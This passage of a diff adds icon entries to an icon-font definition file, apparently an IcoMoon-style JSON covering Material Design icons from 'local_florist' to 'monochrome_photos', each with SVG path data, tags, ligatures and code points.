"isMulticolor2": false, + "tags": [ + "local_florist" + ], + "defaultCode": 58693, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_florist", + "id": 454, + "order": 465, + "prevSize": 24, + "code": 58693, + "name": "local_florist" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 454 + }, + { + "icon": { + "paths": [ + "M768 426c24 0 42-18 42-42s-18-42-42-42-42 18-42 42 18 42 42 42zM512 426v-212h-256v212h256zM844 308c20 20 30 46 30 76v406c0 58-48 106-106 106s-106-48-106-106v-214h-64v320h-428v-682c0-46 40-86 86-86h256c46 0 86 40 86 86v298h42c46 0 86 40 86 86v192c0 24 18 42 42 42s42-18 42-42v-308c-14 6-26 8-42 8-58 0-106-48-106-106 0-46 28-84 68-100l-90-90 46-44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_gas_station" + ], + "defaultCode": 58694, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_gas_station", + "id": 455, + "order": 466, + "prevSize": 24, + "code": 58694, + "name": "local_gas_station" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 455 + }, + { + "icon": { + "paths": [ + "M726 768c46 0 84 40 84 86s-38 84-84 84-86-38-86-84 40-86 86-86zM42 86h140l40 84h632c24 0 42 20 42 44 0 8-2 14-6 20l-152 276c-14 26-42 44-74 44h-318l-38 70-2 6c0 6 4 10 10 10h494v86h-512c-46 0-84-40-84-86 0-14 4-28 10-40l58-106-154-324h-86v-84zM298 768c46 0 86 40 86 86s-40 84-86 84-84-38-84-84 38-86 84-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "shopping_cart" + ], + "defaultCode": 59596, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_grocery_store, shopping_cart", + "id": 456, + "order": 467, + "prevSize": 24, + "code": 59596, + "name": "shopping_cart" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 456 + }, + { + "icon": { + "paths": [ + "M768 598v-172h-170v-170h-172v170h-170v172h170v170h172v-170h170zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_hospital" + ], + "defaultCode": 58696, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_hospital", + "id": 457, + "order": 468, + "prevSize": 24, + "code": 58696, + "name": "local_hospital" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 457 + }, + { + "icon": { + "paths": [ + "M512 854c142 0 256-114 256-256s-114-256-256-256-256 114-256 256 114 256 256 256zM298 170c-24 0-42 20-42 44s18 42 42 42 44-18 44-42-20-44-44-44zM426 170c-24 0-42 20-42 44s18 42 42 42 44-18 44-42-20-44-44-44zM768 86c48 0 86 36 86 84v684c0 48-38 84-86 84h-512c-48 0-86-36-86-84v-684c0-48 38-84 86-84h512zM392 718l240-242c66 66 66 176 0 242s-174 66-240 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_laundry_service" + ], + "defaultCode": 58698, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_laundry_service", + "id": 458, + "order": 469, + "prevSize": 24, + "code": 58698, + "name": "local_laundry_service" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 458 + }, + { + "icon": { + "paths": [ + "M512 342c-70 0-128-58-128-128s58-128 128-128 128 58 128 128-58 128-128 128zM512 492c100-94 236-150 384-150v468c-148 0-284 58-384 152-100-94-236-152-384-152v-468c148 0 284 56 384 150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_library" + ], + "defaultCode": 58699, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_library", + "id": 459, + "order": 470, + "prevSize": 24, + "code": 58699, + "name": "local_library" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 459 + }, + { + "icon": { + "paths": [ + "M512 554c118 0 214-94 214-212h-86c0 70-58 128-128 128s-128-58-128-128h-86c0 118 96 212 214 212zM512 128c-70 0-128 58-128 128h256c0-70-58-128-128-128zM810 256c46 0 86 40 86 86v512c0 46-40 84-86 84h-596c-46 0-86-38-86-84v-512c0-46 40-86 86-86h84c0-118 96-214 214-214s214 96 214 214h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_mall" + ], + "defaultCode": 58700, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_mall", + "id": 460, + "order": 471, + "prevSize": 24, + "code": 58700, + "name": "local_mall" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 460 + }, + { + "icon": { + "paths": [ + "M768 384v-86h-86v86h86zM768 554v-84h-86v84h86zM768 726v-86h-86v86h86zM342 384v-86h-86v86h86zM342 554v-84h-86v84h86zM342 726v-86h-86v86h86zM768 128h86v768h-86v-86h-86v86h-340v-86h-86v86h-86v-768h86v86h86v-86h340v86h86v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "theaters" + ], + "defaultCode": 59610, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_movies, theaters", + "id": 461, + "order": 472, + "prevSize": 24, + "code": 59610, + "name": "theaters" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 461 + }, + { + "icon": { + "paths": [ + "M234 298c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM914 494c16 16 24 36 24 60s-8 44-24 60l-300 300c-16 16-36 24-60 24s-44-8-60-24l-384-384c-16-16-24-36-24-60v-300c0-46 38-84 84-84h300c24 0 44 8 60 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_offer" + ], + "defaultCode": 58702, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_offer", + "id": 462, + "order": 473, + "prevSize": 24, + "code": 58702, + "name": "local_offer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 462 + }, + { + "icon": { + "paths": [ + "M564 470c46 0 84-40 84-86s-38-86-84-86h-138v172h138zM554 128c142 0 256 114 256 256s-114 256-256 256h-128v256h-170v-768h298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_parking" + ], + "defaultCode": 58703, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_parking", + "id": 463, + "order": 474, + "prevSize": 24, + "code": 58703, + "name": "local_parking" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 463 + }, + { + "icon": { + "paths": [ + "M682 598v-86h-128v-128h-84v128h-128v86h128v128h84v-128h128zM896 214v84l-86 256 86 256v86h-768v-86l86-256-86-256v-84h542l62-172 100 38-48 134h112z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_pharmacy" + ], + "defaultCode": 58704, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_pharmacy", + "id": 464, + "order": 475, + "prevSize": 24, + "code": 58704, + "name": "local_pharmacy" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 464 + }, + { + "icon": { + "paths": [ + "M512 640c46 0 86-40 86-86s-40-84-86-84-86 38-86 84 40 86 86 86zM298 298c0 46 40 86 86 86s86-40 86-86-40-84-86-84-86 38-86 84zM512 86c152 0 290 66 384 170l-384 682-384-682c94-104 232-170 384-170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_pizza" + ], + "defaultCode": 58706, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_pizza", + "id": 465, + "order": 476, + "prevSize": 24, + "code": 58706, + "name": "local_pizza" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 465 + }, + { + "icon": { + "paths": [ + "M768 128v170h-512v-170h512zM810 512c24 0 44-18 44-42s-20-44-44-44-42 20-42 44 18 42 42 42zM682 810v-212h-340v212h340zM810 342c70 0 128 58 128 128v256h-170v170h-512v-170h-170v-256c0-70 58-128 128-128h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "print" + ], + "defaultCode": 59565, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_printshop, print", + "id": 466, + "order": 477, + "prevSize": 24, + "code": 59565, + "name": "print2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 466 + }, + { + "icon": { + "paths": [ + "M768 790c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM832 406h-106v106h190zM256 790c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM854 342l128 170v214h-86c0 70-58 128-128 128s-128-58-128-128h-256c0 70-58 128-128 128s-128-58-128-128h-86v-470c0-46 40-86 86-86h598v172h128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_shipping" + ], + "defaultCode": 58712, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_shipping", + "id": 467, + "order": 478, + "prevSize": 24, + "code": 58712, + "name": "local_shipping" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 467 + }, + { + "icon": { + "paths": [ + "M214 470h596l-64-192h-468zM746 682c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM278 682c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM808 256l88 256v342c0 24-18 42-42 42h-44c-24 0-42-18-42-42v-44h-512v44c0 24-18 42-42 42h-44c-24 0-42-18-42-42v-342l88-256c8-26 34-42 62-42h106v-86h256v86h106c28 0 54 16 62 42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "local_taxi" + ], + "defaultCode": 58713, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "local_taxi", + "id": 468, + "order": 479, + "prevSize": 24, + "code": 58713, + "name": "local_taxi" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 468 + }, + { + "icon": { + "paths": [ + "M810 640v-86h-84v86h84zM810 810v-84h-84v84h84zM554 298v-84h-84v84h84zM554 470v-86h-84v86h84zM554 640v-86h-84v86h84zM554 810v-84h-84v84h84zM298 470v-86h-84v86h84zM298 640v-86h-84v86h84zM298 810v-84h-84v84h84zM640 470h256v426h-768v-598h256v-84l128-128 128 128v256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "location_city" + ], + "defaultCode": 59377, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "location_city", + "id": 469, + "order": 480, + "prevSize": 24, + "code": 59377, + "name": "location_city" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 469 + }, + { + "icon": { + "paths": [ + "M500 490c118.353 116.98 236.568 234.098 354 352l-54 54-144-142c-72 106-144 184-144 184s-298-330-298-554c0-22 4-44 8-66l-136-136 54-54 356 356zM512 278c-32 0-58 14-78 36l-138-136c54-56 132-92 216-92 166 0 298 132 298 298 0 72-30 154-72 234l-154-156c22-20 34-46 34-78 0-58-48-106-106-106z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "location_off" + ], + "defaultCode": 57543, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "location_off", + "id": 470, + "order": 481, + "prevSize": 24, + "code": 57543, + "name": "location_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 470 + }, + { + "icon": { + "paths": [ + "M512 490c58 0 106-48 106-106s-48-106-106-106-106 48-106 106 48 106 106 106zM512 86c166 0 298 132 298 298 0 224-298 554-298 554s-298-330-298-554c0-166 132-298 298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "room", + "place" + ], + "defaultCode": 59572, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "location_on, place, room", + "id": 471, + "order": 482, + "prevSize": 24, + "code": 59572, + "name": "room" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 471 + }, + { + "icon": { + "paths": [ + "M768 854v-428h-512v428h512zM768 342c46 0 86 38 86 84v428c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-428c0-46 40-84 86-84h388v-86c0-72-60-132-132-132s-132 60-132 132h-82c0-118 96-214 214-214s214 96 214 214v86h42zM512 726c-46 0-86-40-86-86s40-86 86-86 86 40 86 86-40 86-86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lock_open" + ], + "defaultCode": 59544, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "lock_open", + "id": 472, + "order": 483, + "prevSize": 24, + "code": 59544, + "name": "lock_open" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 472 + }, + { + "icon": { + "paths": [ + "M768 854v-428h-512v428h512zM380 256v86h264v-86c0-72-60-132-132-132s-132 60-132 132zM768 342c46 0 86 38 86 84v428c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-428c0-46 40-84 86-84h42v-86c0-118 96-214 214-214s214 96 214 214v86h42zM512 726c-46 0-86-40-86-86s40-86 86-86 86 40 86 86-40 86-86 86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "lock_outline" + ], + "defaultCode": 59545, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "lock_outline", + "id": 473, + "order": 484, + "prevSize": 24, + "code": 59545, + "name": "lock_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 473 + }, + { + "icon": { + "paths": [ + "M512 256c258 0 470 212 470 470h-86c0-212-172-384-384-384s-384 172-384 384h-86c0-258 212-470 470-470zM512 426c164 0 298 136 298 300h-84c0-118-96-214-214-214s-214 96-214 214h-84c0-164 134-300 298-300z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks" + ], + "defaultCode": 58364, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks", + "id": 474, + "order": 485, + "prevSize": 24, + "code": 58364, + "name": "looks" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 474 + }, + { + "icon": { + "paths": [ + "M640 448v-64c0-48-38-86-84-86h-172v86h172v86h-86v84h86v86h-172v86h172c46 0 84-38 84-86v-64c0-36-28-64-64-64 36 0 64-28 64-64zM812 128c46 0 84 40 84 86v596c0 46-38 86-84 86h-598c-46 0-86-40-86-86v-596c0-46 40-86 86-86h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_3" + ], + "defaultCode": 58363, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_3", + "id": 475, + "order": 486, + "prevSize": 24, + "code": 58363, + "name": "looks_3" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 475 + }, + { + "icon": { + "paths": [ + "M640 726v-428h-86v172h-84v-172h-86v256h170v172h86zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_4" + ], + "defaultCode": 58365, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_4", + "id": 476, + "order": 487, + "prevSize": 24, + "code": 58365, + "name": "looks_4" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 476 + }, + { + "icon": { + "paths": [ + "M640 384v-86h-256v256h170v86h-170v86h170c46 0 86-38 86-86v-86c0-48-40-84-86-84h-84v-86h170zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_5" + ], + "defaultCode": 58366, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_5", + "id": 477, + "order": 488, + "prevSize": 24, + "code": 58366, + "name": "looks_5" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 477 + }, + { + "icon": { + "paths": [ + "M640 384v-86h-170c-46 0-86 38-86 86v256c0 48 40 86 86 86h84c46 0 86-38 86-86v-86c0-48-40-84-86-84h-84v-86h170zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM470 640v-86h84v86h-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_6" + ], + "defaultCode": 58367, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_6", + "id": 478, + "order": 489, + "prevSize": 24, + "code": 58367, + "name": "looks_6" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 478 + }, + { + "icon": { + "paths": [ + "M598 726v-428h-172v86h86v342h86zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_one" + ], + "defaultCode": 58368, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_one", + "id": 479, + "order": 490, + "prevSize": 24, + "code": 58368, + "name": "looks_one" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 479 + }, + { + "icon": { + "paths": [ + "M640 470v-86c0-48-40-86-86-86h-170v86h170v86h-84c-46 0-86 36-86 84v172h256v-86h-170v-86h84c46 0 86-36 86-84zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "looks_two" + ], + "defaultCode": 58369, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "looks_two", + "id": 480, + "order": 491, + "prevSize": 24, + "code": 58369, + "name": "looks_two" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 480 + }, + { + "icon": { + "paths": [ + "M512 768v-128l170 170-170 172v-128c-188 0-342-154-342-342 0-66 20-130 54-182l62 62c-20 36-30 76-30 120 0 142 114 256 256 256zM512 170c188 0 342 154 342 342 0 66-20 130-54 182l-62-62c20-36 30-76 30-120 0-142-114-256-256-256v128l-170-170 170-172v128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sync" + ], + "defaultCode": 58919, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "loop, sync", + "id": 481, + "order": 492, + "prevSize": 24, + "code": 58919, + "name": "sync" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 481 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426v342c0 46-38 84-84 84h-342c-236 0-426-190-426-426s190-426 426-426zM554 298v172h172v84h-172v172h-84v-172h-172v-84h172v-172h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "loupe" + ], + "defaultCode": 58370, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "loupe", + "id": 482, + "order": 493, + "prevSize": 24, + "code": 58370, + "name": "loupe" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 482 + }, + { + "icon": { + "paths": [ + "M86 490c0-152 124-276 276-276h150v84h-150c-106 0-192 86-192 192s86 192 192 192h22v-84l128 128-128 128v-86h-22c-152 0-276-126-276-278zM598 682h340v86h-340v-86zM598 448h340v86h-340v-86zM598 214h340v84h-340v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "low_priority" + ], + "defaultCode": 57709, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "low_priority", + "id": 483, + "order": 494, + "prevSize": 24, + "code": 57709, + "name": "low_priority" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 483 + }, + { + "icon": { + "paths": [ + "M736 652c20-20 32-46 32-76 0-58-48-106-106-106-30 0-56 10-76 30l-32 32-30-32c-20-20-46-30-76-30-58 0-106 48-106 106 0 30 10 56 30 76l182 182zM234 298c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM914 494c16 16 24 36 24 60s-8 44-24 60l-300 300c-16 16-36 24-60 24s-44-8-60-24l-384-384c-16-16-24-36-24-60v-300c0-46 38-84 84-84h300c24 0 44 8 60 24z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "loyalty" + ], + "defaultCode": 59546, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "loyalty", + "id": 484, + "order": 495, + "prevSize": 24, + "code": 59546, + "name": "loyalty" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 484 + }, + { + "icon": { + "paths": [ + "M512 470l342-214h-684zM854 768v-426l-342 212-342-212v426h684zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mail_outline" + ], + "defaultCode": 57569, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mail_outline", + "id": 485, + "order": 496, + "prevSize": 24, + "code": 57569, + "name": "mail_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 485 + }, + { + "icon": { + "paths": [ + "M640 810v-506l-256-90v506zM874 128c12 0 22 10 22 22v644c0 10-8 18-16 20l-240 82-256-90-228 88-6 2c-12 0-22-10-22-22v-644c0-10 8-18 16-20l240-82 256 90 228-88z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "map" + ], + "defaultCode": 58715, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "map", + "id": 486, + "order": 497, + "prevSize": 24, + "code": 58715, + "name": "map2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 486 + }, + { + "icon": { + "paths": [ + "M854 256c46 0 84 40 84 86v512c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-512c0-46 38-86 84-86h86v-256h342v170h-256v342h84v-256h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "markunread_mailbox" + ], + "defaultCode": 59547, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "markunread_mailbox", + "id": 487, + "order": 498, + "prevSize": 24, + "code": 59547, + "name": "markunread_mailbox" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 487 + }, + { + "icon": { + "paths": [ + "M726 726v-428h-428v428h428zM896 470h-86v84h86v86h-86v86c0 46-38 84-84 84h-86v86h-86v-86h-84v86h-86v-86h-86c-46 0-84-38-84-84v-86h-86v-86h86v-84h-86v-86h86v-86c0-46 38-84 84-84h86v-86h86v86h84v-86h86v86h86c46 0 84 38 84 84v86h86v86zM554 554v-84h-84v84h84zM640 384v256h-256v-256h256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "memory" + ], + "defaultCode": 58146, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "memory", + "id": 488, + "order": 499, + "prevSize": 24, + "code": 58146, + "name": "memory" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 488 + }, + { + "icon": { + "paths": [ + "M128 256h768v86h-768v-86zM128 554v-84h768v84h-768zM128 768v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "menu" + ], + "defaultCode": 58834, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "menu", + "id": 489, + "order": 500, + "prevSize": 24, + "code": 58834, + "name": "menu" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 489 + }, + { + "icon": { + "paths": [ + "M768 342v-86h-512v86h512zM768 470v-86h-512v86h512zM768 598v-86h-512v86h512zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "message" + ], + "defaultCode": 57545, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "message", + "id": 490, + "order": 501, + "prevSize": 24, + "code": 57545, + "name": "message" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 490 + }, + { + "icon": { + "paths": [ + "M738 470h72c0 146-116 266-256 286v140h-84v-140c-140-20-256-140-256-286h72c0 128 108 216 226 216s226-88 226-216zM512 598c-70 0-128-58-128-128v-256c0-70 58-128 128-128s128 58 128 128v256c0 70-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mic" + ], + "defaultCode": 57385, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mic", + "id": 491, + "order": 502, + "prevSize": 24, + "code": 57385, + "name": "mic" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 491 + }, + { + "icon": { + "paths": [ + "M738 470h72c0 146-116 266-256 286v140h-84v-140c-140-20-256-140-256-286h72c0 128 108 216 226 216s226-88 226-216zM460 210v264c0 28 24 50 52 50s50-22 50-50l2-264c0-28-24-52-52-52s-52 24-52 52zM512 598c-70 0-128-58-128-128v-256c0-70 58-128 128-128s128 58 128 128v256c0 70-58 128-128 128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mic_none" + ], + "defaultCode": 57386, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mic_none", + "id": 492, + "order": 503, + "prevSize": 24, + "code": 57386, + "name": "mic_none" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 492 + }, + { + "icon": { + "paths": [ + "M182 128l714 714-54 54-178-178c-32 20-72 32-110 38v140h-84v-140c-140-20-256-140-256-286h72c0 128 108 216 226 216 34 0 68-8 98-22l-70-70c-8 2-18 4-28 4-70 0-128-58-128-128v-32l-256-256zM640 476l-256-254v-8c0-70 58-128 128-128s128 58 128 128v262zM810 470c0 50-14 98-38 140l-52-54c12-26 18-54 18-86h72z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mic_off" + ], + "defaultCode": 57387, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mic_off", + "id": 493, + "order": 504, + "prevSize": 24, + "code": 57387, + "name": "mic_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 493 + }, + { + "icon": { + "paths": [ + "M214 598h596l-192-256-148 192-108-128zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mms" + ], + "defaultCode": 58904, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mms", + "id": 494, + "order": 505, + "prevSize": 24, + "code": 58904, + "name": "mms" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 494 + }, + { + "icon": { + "paths": [ + "M938 170v768l-170-170h-598c-46 0-84-40-84-86v-512c0-46 38-84 84-84h684c46 0 84 38 84 84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "mode_comment" + ], + "defaultCode": 57939, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "mode_comment", + "id": 495, + "order": 506, + "prevSize": 24, + "code": 57939, + "name": "mode_comment" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 495 + }, + { + "icon": { + "paths": [ + "M572 772c74-14 134-56 134-134 0-108-94-146-180-168s-112-46-112-82c0-40 38-70 102-70 68 0 92 32 94 80h84c-2-66-42-124-122-144v-84h-114v84c-74 16-132 62-132 136 0 88 72 130 178 156 96 22 114 56 114 92 0 26-18 68-102 68-78 0-110-36-114-80h-84c4 82 68 128 140 144v84h114v-82zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "monetization_on" + ], + "defaultCode": 57955, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "monetization_on", + "id": 496, + "order": 507, + "prevSize": 24, + "code": 57955, + "name": "monetization_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 496 + }, + { + "icon": { + "paths": [ + "M228 174l622 624-54 54-94-96c-26 24-64 40-104 48v92h-128v-92c-82-18-152-70-158-164h94c4 50 40 90 128 90 58 0 88-20 102-40l-150-148c-100-30-166-80-166-168l-146-146zM534 294c-26 0-48 4-66 12l-62-62c20-10 42-18 64-24v-92h128v94c90 22 134 88 136 162h-94c-2-54-30-90-106-90z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "money_off" + ], + "defaultCode": 57948, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "money_off", + "id": 497, + "order": 508, + "prevSize": 24, + "code": 57948, + "name": "money_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 497 + }, + { + "icon": { + "paths": [ + "M854 810v-512h-342v44c120 0 214 92 214 212s-94 214-214 214v-76c-76 0-136-62-136-138s60-136 136-136v274c76 0 136-62 136-138s-60-136-136-136v-76c-120 0-214 92-214 212s94 214 214 214v42h342zM854 214c46 0 84 38 84 84v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-84 84-84h138l76-86h256l76 86h138z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "monochrome_photos" + ], + "defaultCode": 58371, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "monochrome_photos", + "id": 498, + "order": 509, + "prevSize": 24, + "code": 58371, + "name": "monochrome_photos" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 498 + }, + { + "icon": { + "paths": [ + "M512 598c100 0 184 60 218 148h-436c34-88 